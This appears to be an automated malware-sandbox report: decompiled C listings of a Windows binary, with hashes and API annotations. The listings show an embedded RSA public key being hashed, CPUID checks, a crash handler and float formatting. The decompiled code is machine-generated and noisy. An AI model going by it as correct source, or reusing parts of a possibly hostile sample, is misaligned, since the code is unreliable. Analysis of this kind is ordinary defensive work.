                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Time$FileSystem$__aulldiv__time64
                                                                • String ID: ....................$You need to read the OpenSSL FAQ, https://www.openssl.org/docs/faq.html$crypto\rand\md_rand.c$gfff
                                                                • API String ID: 269781128-3527488114
                                                                • Opcode ID: 95670c2004edca259de7e210824d4d26dbc75ce56ae63d570949abb39ccaf41a
                                                                • Instruction ID: 3af6422aca372d8b4cc9c65eb4406fc51c5b5fc4150cab787377299743dad052
                                                                • Opcode Fuzzy Hash: 95670c2004edca259de7e210824d4d26dbc75ce56ae63d570949abb39ccaf41a
                                                                • Instruction Fuzzy Hash: 36E135B1A443499BD310EB64AD81F3BB7E5ABA4704F05492DF98A9B252EF71C804C793
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 100%
                                                                			E00AB1000(void* __ecx) {
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				char* _t13;
                                                                				void* _t19;
                                                                				unsigned int _t20;
                                                                				void* _t22;
                                                                				intOrPtr _t23;
                                                                				char _t25;
                                                                				void* _t27;
                                                                				void _t28;
                                                                				signed int _t30;
                                                                				int _t33;
                                                                				char* _t35;
                                                                				void _t37;
                                                                				void* _t38;
                                                                				void* _t40;
                                                                				void* _t45;
                                                                				void* _t46;
                                                                				void* _t47;
                                                                				void* _t48;
                                                                				void* _t49;
                                                                				void* _t50;
                                                                				void* _t52;
                                                                
                                                                				_t44 = E00B89D40(__ecx, _t52, 0x21, 1);
                                                                				_t13 = "-----BEGIN RSA PUBLIC KEY-----\nMIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+\nC6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ube\nVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1\nCJQSg6Moblo2NVF50AK3cIG2/lVh82ebgedXsbVJpjVMc03aTPWV4sNWjTO3o+aX\n6Z+VGVLjuvcpfLDZb3tYppkqZzAHfrCt7lV0qO47FV8sFCltuoNiNGKiP084KI7b\n3XEJepbSJB3UW4o4C4zHFrqmdyOoUlnqcQIBAw==\n-----END RSA PUBLIC KEY-----\n";
                                                                				_t48 = _t47 + 8;
                                                                				 *((intOrPtr*)(_t48 + 0x14)) = _t12;
                                                                				_t35 =  &(_t13[1]);
                                                                				do {
                                                                					_t25 =  *_t13;
                                                                					_t13 =  &(_t13[1]);
                                                                					_t53 = _t25;
                                                                				} while (_t25 != 0);
                                                                				E00AB79C0("-----BEGIN RSA PUBLIC KEY-----\nMIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+\nC6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ube\nVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1\nCJQSg6Moblo2NVF50AK3cIG2/lVh82ebgedXsbVJpjVMc03aTPWV4sNWjTO3o+aX\n6Z+VGVLjuvcpfLDZb3tYppkqZzAHfrCt7lV0qO47FV8sFCltuoNiNGKiP084KI7b\n3XEJepbSJB3UW4o4C4zHFrqmdyOoUlnqcQIBAw==\n-----END RSA PUBLIC KEY-----\n", _t13 - _t35, _t44);
                                                                				_t23 = E00B89D40(_t25, _t53, 0x41, 1);
                                                                				_t49 = _t48 + 0x14;
                                                                				 *((char*)(_t49 + 0x10)) = 0;
                                                                				 *((short*)(_t49 + 0x11)) = 0;
                                                                				_t46 = 0;
                                                                				while(1) {
                                                                					E00B89C35(_t38, _t44, _t49 + 0x14, "%02x",  *(_t44 + _t46) & 0x000000ff);
                                                                					_t19 = _t49 + 0x1c;
                                                                					_t50 = _t49 + 0xc;
                                                                					_t27 = _t19;
                                                                					do {
                                                                						_t37 =  *_t19;
                                                                						_t19 = _t19 + 1;
                                                                					} while (_t37 != 0);
                                                                					_t20 = _t19 - _t27;
                                                                					_t45 = _t27;
                                                                					_t40 = _t23 - 1;
                                                                					do {
                                                                						_t28 =  *(_t40 + 1);
                                                                						_t40 = _t40 + 1;
                                                                					} while (_t28 != 0);
                                                                					_t30 = _t20 >> 2;
                                                                					_t33 = memcpy(_t40, _t45, _t30 << 2) & 0x00000003;
                                                                					_t46 = _t46 + 1;
                                                                					_t22 = memcpy(_t45 + _t30 + _t30, _t45, _t33);
                                                                					_t49 = _t50 + 0x18;
                                                                					_t38 = _t45 + _t33 + _t33;
                                                                					if(_t46 < 0x20) {
                                                                						_t44 =  *((intOrPtr*)(_t49 + 0x14));
                                                                						continue;
                                                                					}
                                                                					 *((char*)(_t23 + 0x20)) = 0;
                                                                					 *0xdea8e8 = _t23;
                                                                					return _t22;
                                                                				}
                                                                			}


























                                                                0x00ab1010
                                                                0x00ab1012
                                                                0x00ab1017
                                                                0x00ab101a
                                                                0x00ab101e
                                                                0x00ab1021
                                                                0x00ab1021
                                                                0x00ab1023
                                                                0x00ab1024
                                                                0x00ab1024
                                                                0x00ab1031
                                                                0x00ab103f
                                                                0x00ab1043
                                                                0x00ab1046
                                                                0x00ab104b
                                                                0x00ab1050
                                                                0x00ab1058
                                                                0x00ab1067
                                                                0x00ab106c
                                                                0x00ab1070
                                                                0x00ab1073
                                                                0x00ab1075
                                                                0x00ab1075
                                                                0x00ab1077
                                                                0x00ab1078
                                                                0x00ab107e
                                                                0x00ab1080
                                                                0x00ab1082
                                                                0x00ab1083
                                                                0x00ab1083
                                                                0x00ab1086
                                                                0x00ab1087
                                                                0x00ab108d
                                                                0x00ab1094
                                                                0x00ab1097
                                                                0x00ab109b
                                                                0x00ab109b
                                                                0x00ab109b
                                                                0x00ab109d
                                                                0x00ab1054
                                                                0x00000000
                                                                0x00ab1054
                                                                0x00ab10a1
                                                                0x00ab10a6
                                                                0x00ab10b0
                                                                0x00ab10b0

                                                                APIs
                                                                Strings
                                                                • -----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge, xrefs: 00AB1012, 00AB102B, 00AB102C
                                                                • %02x, xrefs: 00AB1061
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: _calloc$__calloc_impl_sprintf
                                                                • String ID: %02x$-----BEGIN RSA PUBLIC KEY-----MIIBCAKCAQEAyLBClz9hsFGRf9fk3z0zmY2rz2J1qqGfV48DSjPV4lcwnhCi4/5+C6UsAhk/dI4/5HwbfZBAiMySXNB3DxVB2hOrjDjIeVAkFjQgZ19B+KQFWkSo1ubeVdHjwdv74evE/ur9Lv9HM+89iZdzEpVPO+AjOTtsQgFNtmVecC2vmw9m60dgyR/1CJQSg6Moblo2NVF50AK3cIG2/lVh82ebge
                                                                • API String ID: 2194232006-1872794217
                                                                • Opcode ID: fec5638bbfde372ca7c5aa1376d622552d587e05a2bead71c10919a83df03e7e
                                                                • Instruction ID: 6e9ecefd077048ef0eb13aa358384ff61ca77b69f8a591ee4fb32dc48c67da91
                                                                • Opcode Fuzzy Hash: fec5638bbfde372ca7c5aa1376d622552d587e05a2bead71c10919a83df03e7e
                                                                • Instruction Fuzzy Hash: B6115B315083861BDB10EF345CA57FB7BD5DB81704F4841ADF886DB242E692998CC3E2
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 22%
                                                                			E00AC3680(intOrPtr _a8) {
                                                                				signed int _t20;
                                                                				signed int _t22;
                                                                				signed int _t25;
                                                                				signed int _t26;
                                                                				signed int _t27;
                                                                				signed int _t30;
                                                                				unsigned int _t39;
                                                                				signed char _t44;
                                                                				signed int _t45;
                                                                				signed int _t50;
                                                                				signed int _t53;
                                                                				signed int _t58;
                                                                				void* _t65;
                                                                				signed int _t68;
                                                                				signed int _t70;
                                                                
                                                                				_t50 = 0;
                                                                				asm("pushfd");
                                                                				_pop(_t20);
                                                                				_push(_t20 ^ 0x00200000);
                                                                				asm("popfd");
                                                                				asm("pushfd");
                                                                				_pop(_t22);
                                                                				_t44 = _t20 ^ _t22;
                                                                				asm("bt ecx, 0x15");
                                                                				if(0 >= 0) {
                                                                					return 0;
                                                                				}
                                                                				 *(_a8 + 8) = 0;
                                                                				asm("cpuid");
                                                                				_t25 = 0 | _t39 != 0x756e6547;
                                                                				_t26 = _t25 & 0xffffff00 | 0 != 0x49656e69;
                                                                				_t27 = _t26 & 0xffffff00 | _t44 != 0x6c65746e;
                                                                				_t68 = _t25 | _t26 | _t27;
                                                                				if(_t68 == 0 || (_t27 & 0xffffff00 | _t39 != 0x68747541 | (_t27 & 0xffffff00 | _t39 != 0x68747541) & 0xffffff00 | 0 != 0x69746e65 | ((_t27 & 0xffffff00 | _t39 != 0x68747541) & 0xffffff00 | 0 != 0x69746e65) & 0xffffff00 | _t44 != 0x444d4163) != 0) {
                                                                					L8:
                                                                					__eflags = 0 - 7;
                                                                					if(0 >= 7) {
                                                                						__eflags = 0;
                                                                						asm("cpuid");
                                                                						 *(_a8 + 8) = _t39;
                                                                					}
                                                                					__eflags = 0 - 4;
                                                                					_t53 = 0xffffffff;
                                                                					if(0 >= 4) {
                                                                						asm("cpuid");
                                                                						_t53 = 0xbad;
                                                                						__eflags = 0xbad;
                                                                					}
                                                                					_t28 = 1;
                                                                					_t45 = 0;
                                                                					asm("cpuid");
                                                                					_t50 = _t50 & 0xbfefffff;
                                                                					__eflags = _t68;
                                                                					if(__eflags == 0) {
                                                                						_t50 = _t50 | 0x40000000;
                                                                						_t28 = 1;
                                                                						__eflags = 1 - 0xf;
                                                                						if(1 == 0xf) {
                                                                							_t50 = _t50 | 0x00100000;
                                                                							__eflags = _t50;
                                                                						}
                                                                					}
                                                                					asm("bt edx, 0x1c");
                                                                					if(__eflags < 0) {
                                                                						_t50 = _t50 & 0xefffffff;
                                                                						__eflags = _t53;
                                                                						if(_t53 != 0) {
                                                                							_t50 = _t50 | 0x10000000;
                                                                							__eflags = _t39 >> 0x10 - 1;
                                                                							if(_t39 >> 0x10 <= 1) {
                                                                								_t50 = _t50 & 0xefffffff;
                                                                								__eflags = _t50;
                                                                							}
                                                                						}
                                                                					}
                                                                					goto L19;
                                                                				} else {
                                                                					asm("cpuid");
                                                                					if(0x80000000 < 0x80000001) {
                                                                						goto L8;
                                                                					}
                                                                					asm("cpuid");
                                                                					_t68 = (_t68 | _t44) & 0x00000801;
                                                                					if(0x80000000 < 0x80000008) {
                                                                						goto L8;
                                                                					} else {
                                                                						asm("cpuid");
                                                                						_t65 = (_t44 & 0x000000ff) + 1;
                                                                						_t28 = 1;
                                                                						_t45 = 0;
                                                                						asm("cpuid");
                                                                						asm("bt edx, 0x1c");
                                                                						if(0 < 0 && (_t39 >> 0x00000010 & 0x000000ff) <= _t65) {
                                                                							_t50 = 0;
                                                                						}
                                                                						L19:
                                                                						_t58 = _t50;
                                                                						_t70 = _t68 & 0x00000800 | _t45 & 0xfffff7ff;
                                                                						asm("bt ecx, 0x1b");
                                                                						if(_t70 >= 0) {
                                                                							L23:
                                                                							_t70 = _t70 & 0xefffe7ff;
                                                                							 *(_a8 + 8) =  *(_a8 + 8) & 0xffffffdf;
                                                                							L24:
                                                                							return _t58;
                                                                						}
                                                                						asm("xgetbv");
                                                                						_t30 = _t28 & 0x00000006;
                                                                						if(_t30 == 6) {
                                                                							goto L24;
                                                                						}
                                                                						if(_t30 != 2) {
                                                                							_t70 = _t70 & 0xfdfffffd;
                                                                							_t58 = _t58 & 0xfeffffff;
                                                                						}
                                                                						goto L23;
                                                                					}
                                                                				}
                                                                			}


















                                                                0x00ac3684
                                                                0x00ac3686
                                                                0x00ac3687
                                                                0x00ac368f
                                                                0x00ac3690
                                                                0x00ac3691
                                                                0x00ac3692
                                                                0x00ac3693
                                                                0x00ac3697
                                                                0x00ac369b
                                                                0x00ac385a
                                                                0x00ac385a
                                                                0x00ac36a5
                                                                0x00ac36a8
                                                                0x00ac36b4
                                                                0x00ac36bf
                                                                0x00ac36ca
                                                                0x00ac36cd
                                                                0x00ac36cf
                                                                0x00ac3765
                                                                0x00ac3765
                                                                0x00ac3768
                                                                0x00ac3777
                                                                0x00ac3779
                                                                0x00ac377b
                                                                0x00ac377b
                                                                0x00ac377e
                                                                0x00ac3781
                                                                0x00ac3786
                                                                0x00ac3796
                                                                0x00ac379d
                                                                0x00ac379d
                                                                0x00ac379d
                                                                0x00ac37a3
                                                                0x00ac37a8
                                                                0x00ac37aa
                                                                0x00ac37ac
                                                                0x00ac37b2
                                                                0x00ac37b5
                                                                0x00ac37bb
                                                                0x00ac37c1
                                                                0x00ac37c4
                                                                0x00ac37c7
                                                                0x00ac37cd
                                                                0x00ac37cd
                                                                0x00ac37cd
                                                                0x00ac37c7
                                                                0x00ac37d3
                                                                0x00ac37d7
                                                                0x00ac37dd
                                                                0x00ac37e3
                                                                0x00ac37e6
                                                                0x00ac37ec
                                                                0x00ac37f5
                                                                0x00ac37f8
                                                                0x00ac37fe
                                                                0x00ac37fe
                                                                0x00ac37fe
                                                                0x00ac37f8
                                                                0x00ac37e6
                                                                0x00000000
                                                                0x00ac36fc
                                                                0x00ac3701
                                                                0x00ac3708
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3715
                                                                0x00ac3719
                                                                0x00ac3725
                                                                0x00000000
                                                                0x00ac372b
                                                                0x00ac3730
                                                                0x00ac3735
                                                                0x00ac3736
                                                                0x00ac373b
                                                                0x00ac373d
                                                                0x00ac373f
                                                                0x00ac3743
                                                                0x00ac375a
                                                                0x00ac375a
                                                                0x00ac3804
                                                                0x00ac3810
                                                                0x00ac3812
                                                                0x00ac3814
                                                                0x00ac3818
                                                                0x00ac3844
                                                                0x00ac3844
                                                                0x00ac384e
                                                                0x00ac3852
                                                                0x00000000
                                                                0x00ac3854
                                                                0x00ac3820
                                                                0x00ac3823
                                                                0x00ac3829
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3832
                                                                0x00ac3838
                                                                0x00ac383e
                                                                0x00ac383e
                                                                0x00000000
                                                                0x00ac3832
                                                                0x00ac3725

                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID: Auth$Genu$cAMD$enti$ineI$ntel
                                                                • API String ID: 0-1714976780
                                                                • Opcode ID: 0267287f670431e7a6d0a9e082e982835e0205c0dfa79dfcdf529b1d0aab54d9
                                                                • Instruction ID: 689950a70913b32fde39ae7ffbaca65938f213e3c8e76b66fac7e9936f553268
                                                                • Opcode Fuzzy Hash: 0267287f670431e7a6d0a9e082e982835e0205c0dfa79dfcdf529b1d0aab54d9
                                                                • Instruction Fuzzy Hash: AF31F6BBA546160BFF389D39885576D61839390330F2BC73DE526D7AD0E8788E815391
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 85%
                                                                			E00B89C26(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
                                                                				intOrPtr _v0;
                                                                				void* _v804;
                                                                				intOrPtr _v808;
                                                                				intOrPtr _v812;
                                                                				intOrPtr _t6;
                                                                				intOrPtr _t11;
                                                                				intOrPtr _t12;
                                                                				intOrPtr _t13;
                                                                				long _t17;
                                                                				intOrPtr _t21;
                                                                				intOrPtr _t22;
                                                                				intOrPtr _t25;
                                                                				intOrPtr _t26;
                                                                				intOrPtr _t27;
                                                                				intOrPtr* _t31;
                                                                				void* _t34;
                                                                
                                                                				_t27 = __esi;
                                                                				_t26 = __edi;
                                                                				_t25 = __edx;
                                                                				_t22 = __ecx;
                                                                				_t21 = __ebx;
                                                                				_t6 = __eax;
                                                                				_t34 = _t22 -  *0xbe5970; // 0xe6e1d076
                                                                				if(_t34 == 0) {
                                                                					asm("repe ret");
                                                                				}
                                                                				 *0xbe9580 = _t6;
                                                                				 *0xbe957c = _t22;
                                                                				 *0xbe9578 = _t25;
                                                                				 *0xbe9574 = _t21;
                                                                				 *0xbe9570 = _t27;
                                                                				 *0xbe956c = _t26;
                                                                				 *0xbe9598 = ss;
                                                                				 *0xbe958c = cs;
                                                                				 *0xbe9568 = ds;
                                                                				 *0xbe9564 = es;
                                                                				 *0xbe9560 = fs;
                                                                				 *0xbe955c = gs;
                                                                				asm("pushfd");
                                                                				_pop( *0xbe9590);
                                                                				 *0xbe9584 =  *_t31;
                                                                				 *0xbe9588 = _v0;
                                                                				 *0xbe9594 =  &_a4;
                                                                				 *0xbe94d0 = 0x10001;
                                                                				_t11 =  *0xbe9588; // 0x0
                                                                				 *0xbe9484 = _t11;
                                                                				 *0xbe9478 = 0xc0000409;
                                                                				 *0xbe947c = 1;
                                                                				_t12 =  *0xbe5970; // 0xe6e1d076
                                                                				_v812 = _t12;
                                                                				_t13 =  *0xbe5974; // 0x191e2f89
                                                                				_v808 = _t13;
                                                                				 *0xbe94c8 = IsDebuggerPresent();
                                                                				_push(1);
                                                                				E00B98CC1(_t14);
                                                                				SetUnhandledExceptionFilter(0);
                                                                				_t17 = UnhandledExceptionFilter(0xbddab8);
                                                                				if( *0xbe94c8 == 0) {
                                                                					_push(1);
                                                                					E00B98CC1(_t17);
                                                                				}
                                                                				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
                                                                			}



















                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c26
                                                                0x00b89c2c
                                                                0x00b89c2e
                                                                0x00b89c2e
                                                                0x00b8eb9a
                                                                0x00b8eb9f
                                                                0x00b8eba5
                                                                0x00b8ebab
                                                                0x00b8ebb1
                                                                0x00b8ebb7
                                                                0x00b8ebbd
                                                                0x00b8ebc4
                                                                0x00b8ebcb
                                                                0x00b8ebd2
                                                                0x00b8ebd9
                                                                0x00b8ebe0
                                                                0x00b8ebe7
                                                                0x00b8ebe8
                                                                0x00b8ebf1
                                                                0x00b8ebf9
                                                                0x00b8ec01
                                                                0x00b8ec0c
                                                                0x00b8ec16
                                                                0x00b8ec1b
                                                                0x00b8ec20
                                                                0x00b8ec2a
                                                                0x00b8ec34
                                                                0x00b8ec39
                                                                0x00b8ec3f
                                                                0x00b8ec44
                                                                0x00b8ec50
                                                                0x00b8ec55
                                                                0x00b8ec57
                                                                0x00b8ec5f
                                                                0x00b8ec6a
                                                                0x00b8ec77
                                                                0x00b8ec79
                                                                0x00b8ec7b
                                                                0x00b8ec80
                                                                0x00b8ec94

                                                                APIs
                                                                • IsDebuggerPresent.KERNEL32 ref: 00B8EC4A
                                                                • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B8EC5F
                                                                • UnhandledExceptionFilter.KERNEL32(00BDDAB8), ref: 00B8EC6A
                                                                • GetCurrentProcess.KERNEL32(C0000409), ref: 00B8EC86
                                                                • TerminateProcess.KERNEL32(00000000), ref: 00B8EC8D
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                • String ID:
                                                                • API String ID: 2579439406-0
                                                                • Opcode ID: d9079d7c514334f537d7a9947a934e928f120756d32685f3e807cce1de33bc94
                                                                • Instruction ID: 7c2a7120c80d610c1806e2c65f4560572b67ee977a0ce1c7df8780c53c466d58
                                                                • Opcode Fuzzy Hash: d9079d7c514334f537d7a9947a934e928f120756d32685f3e807cce1de33bc94
                                                                • Instruction Fuzzy Hash: 3E21F0B4811384DFDB62EF25E9C56943BF4FB68304F50015AE5098B362EF70998ACF01
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 78%
                                                                			E00AC8340(intOrPtr __ecx, signed int __edx) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t208;
                                                                				signed char _t210;
                                                                				signed int _t215;
                                                                				signed char _t216;
                                                                				signed int _t217;
                                                                				signed char _t218;
                                                                				signed int _t225;
                                                                				signed int _t230;
                                                                				signed int _t231;
                                                                				signed int _t234;
                                                                				signed int _t239;
                                                                				signed int _t240;
                                                                				signed int _t244;
                                                                				signed int _t245;
                                                                				signed int _t247;
                                                                				signed int _t249;
                                                                				signed int _t252;
                                                                				signed int _t253;
                                                                				signed int _t256;
                                                                				signed int _t258;
                                                                				signed int _t259;
                                                                				signed int _t261;
                                                                				signed int _t262;
                                                                				signed int _t264;
                                                                				signed int _t266;
                                                                				signed int _t271;
                                                                				signed char _t284;
                                                                				intOrPtr _t285;
                                                                				intOrPtr _t286;
                                                                				intOrPtr _t287;
                                                                				intOrPtr _t288;
                                                                				signed int _t290;
                                                                				signed int _t293;
                                                                				signed int _t294;
                                                                				signed int _t300;
                                                                				signed char _t301;
                                                                				signed int _t311;
                                                                				signed int _t321;
                                                                				signed int _t327;
                                                                				signed int _t329;
                                                                				intOrPtr _t332;
                                                                				signed int _t333;
                                                                				signed int _t334;
                                                                				intOrPtr _t336;
                                                                				signed char _t337;
                                                                				intOrPtr _t338;
                                                                				intOrPtr _t344;
                                                                				signed int _t346;
                                                                				intOrPtr _t347;
                                                                				signed int _t348;
                                                                				signed int _t350;
                                                                				signed int _t351;
                                                                				intOrPtr _t353;
                                                                				intOrPtr* _t354;
                                                                				intOrPtr _t355;
                                                                				signed int _t361;
                                                                				intOrPtr _t362;
                                                                				signed int _t366;
                                                                				signed int _t370;
                                                                				signed int _t373;
                                                                				signed int _t394;
                                                                				signed long long _t395;
                                                                				signed long long _t397;
                                                                				signed long long _t399;
                                                                				signed long long _t404;
                                                                				signed int _t405;
                                                                
                                                                				E00B8BB10(0x70);
                                                                				_t208 =  *0xbe5970; // 0xe6e1d076
                                                                				 *(_t373 + 0x6c) = _t208 ^ _t373;
                                                                				_t210 =  *(_t373 + 0x78);
                                                                				_t284 =  *(_t373 + 0x78);
                                                                				_t366 =  *(_t373 + 0x90);
                                                                				_t346 =  *(_t373 + 0x9c);
                                                                				 *(_t373 + 0x1c) = __edx;
                                                                				_t319 = 0;
                                                                				 *(_t373 + 0x14) = _t210;
                                                                				 *((intOrPtr*)(_t373 + 0x18)) = __ecx;
                                                                				 *(_t373 + 0x2c) = 0;
                                                                				 *(_t373 + 0x24) = 0;
                                                                				 *(_t373 + 0x28) = 0;
                                                                				 *(_t373 + 0x20) = 0;
                                                                				 *(_t373 + 0x3c) = 0;
                                                                				if(_t366 < 0) {
                                                                					_t366 = 6;
                                                                				}
                                                                				asm("fldz");
                                                                				asm("fcom st0, st1");
                                                                				asm("fnstsw ax");
                                                                				if((_t210 & 0x00000005) != 0) {
                                                                					_t210 =  *(_t373 + 0x9c);
                                                                					__eflags = _t210 & 0x00000002;
                                                                					if((_t210 & 0x00000002) == 0) {
                                                                						__eflags = _t210 & 0x00000004;
                                                                						if((_t210 & 0x00000004) != 0) {
                                                                							 *(_t373 + 0x2c) = 0x20;
                                                                						}
                                                                					} else {
                                                                						 *(_t373 + 0x2c) = 0x2b;
                                                                					}
                                                                				} else {
                                                                					 *(_t373 + 0x2c) = 0x2d;
                                                                				}
                                                                				asm("fld1");
                                                                				if(_t346 != 2) {
                                                                					_t290 = _t346;
                                                                					 *(_t373 + 0x30) = _t290;
                                                                					__eflags = _t346;
                                                                					if(_t346 == 0) {
                                                                						goto L44;
                                                                					} else {
                                                                						goto L21;
                                                                					}
                                                                				} else {
                                                                					asm("fucomp st3");
                                                                					asm("fnstsw ax");
                                                                					if((_t210 & 0x00000044) != 0) {
                                                                						_t404 =  *0xba1cf0;
                                                                						asm("fcomp st0, st3");
                                                                						asm("fnstsw ax");
                                                                						__eflags = _t210 & 0x00000041;
                                                                						if((_t210 & 0x00000041) != 0) {
                                                                							__eflags = _t366;
                                                                							if(__eflags != 0) {
                                                                								if(__eflags <= 0) {
                                                                									asm("fxch st0, st2");
                                                                									goto L37;
                                                                								} else {
                                                                									st2 = _t404;
                                                                									st0 = _t404;
                                                                									st1 = _t404;
                                                                									st0 = _t404;
                                                                									_t210 = E00AC7DC0(_t366);
                                                                									_t405 =  *(_t373 + 0x90);
                                                                									_t373 = _t373 + 4;
                                                                									asm("fcom st0, st1");
                                                                									asm("fnstsw ax");
                                                                									st1 = _t405;
                                                                									asm("fldz");
                                                                									asm("fld1");
                                                                									asm("fxch st0, st2");
                                                                									asm("fxch st0, st3");
                                                                									__eflags = _t210 & 0x00000001;
                                                                									if((_t210 & 0x00000001) != 0) {
                                                                										L37:
                                                                										_t290 = 0;
                                                                									} else {
                                                                										goto L18;
                                                                									}
                                                                								}
                                                                							} else {
                                                                								asm("fxch st0, st2");
                                                                								asm("fcom st0, st1");
                                                                								asm("fnstsw ax");
                                                                								__eflags = _t210 & 0x00000001;
                                                                								if((_t210 & 0x00000001) == 0) {
                                                                									L18:
                                                                									_t290 = 1;
                                                                								} else {
                                                                									_t290 = 0;
                                                                								}
                                                                							}
                                                                							asm("fxch st0, st2");
                                                                						} else {
                                                                							_t290 = 1;
                                                                						}
                                                                					} else {
                                                                						_t290 = 0;
                                                                					}
                                                                					 *(_t373 + 0x30) = _t290;
                                                                					L21:
                                                                					_t395 = st4;
                                                                					asm("fucomp st4");
                                                                					asm("fnstsw ax");
                                                                					if((_t210 & 0x00000044) == 0) {
                                                                						asm("fxch st0, st3");
                                                                						asm("fcom st0, st1");
                                                                						asm("fnstsw ax");
                                                                						if((_t210 & 0x00000005) == 0) {
                                                                							do {
                                                                								asm("fxch st0, st3");
                                                                								_t319 = _t319 - 1;
                                                                								_t395 = _t395 * st2;
                                                                								asm("fcom st0, st1");
                                                                								asm("fnstsw ax");
                                                                								asm("fxch st0, st3");
                                                                							} while ((_t210 & 0x00000005) != 0);
                                                                							 *(_t373 + 0x3c) = _t319;
                                                                						}
                                                                						asm("fxch st0, st3");
                                                                						asm("fcom st0, st2");
                                                                						asm("fnstsw ax");
                                                                						if((_t210 & 0x00000041) == 0) {
                                                                							do {
                                                                								_t395 = _t395 / st2;
                                                                								_t319 = _t319 + 1;
                                                                								asm("fcom st0, st2");
                                                                								asm("fnstsw ax");
                                                                							} while ((_t210 & 0x00000041) == 0);
                                                                							 *(_t373 + 0x3c) = _t319;
                                                                						}
                                                                					}
                                                                					if(_t346 != 2) {
                                                                						L41:
                                                                						__eflags = _t290 - 1;
                                                                						if(_t290 != 1) {
                                                                							st0 = _t395;
                                                                						} else {
                                                                							st3 = _t395;
                                                                						}
                                                                						goto L44;
